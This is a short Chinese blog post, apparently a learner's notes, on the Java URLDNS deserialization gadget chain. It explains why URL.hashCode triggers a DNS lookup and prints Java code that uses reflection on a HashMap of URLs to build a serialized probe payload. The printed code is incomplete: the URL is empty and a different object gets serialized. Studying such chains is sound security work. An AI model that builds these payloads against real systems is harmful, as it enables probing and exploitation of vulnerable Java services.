java代码审计,迈好人生第一步---UrlDns链子!
URLdns链的初次学习~
前情提要:师从b站白日梦组长,具体细节都可以去看他视频,均可复现下来
复现步骤
- 首先是发现URL实现了Serializable接口,存在反序列化利用危险函数的潜在危害
然后看一个常见都存在的函数hashCode,发现URL类种存在该函数,然后点进去handler下的hashcode函数,发现有个getHostAddress函数,存在域名解析的危害即ssrf







最后的代码:
点击查看代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person=new Person("aa",22);
//System.out.println(person);
HashMap<URL,Integer>hashmap=new HashMap<URL,Integer>();
//这里不要发起请求,先把url对象的hashcode改成不是-1
URL url=new URL("");
Class c=url.getClass();
Field hashcodefield=c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里通过反射把hashcode改回-1
hashcodefield.set(url,-1);
serialize(person/*hashmap**/);
}
}


浙公网安备 33010602011771号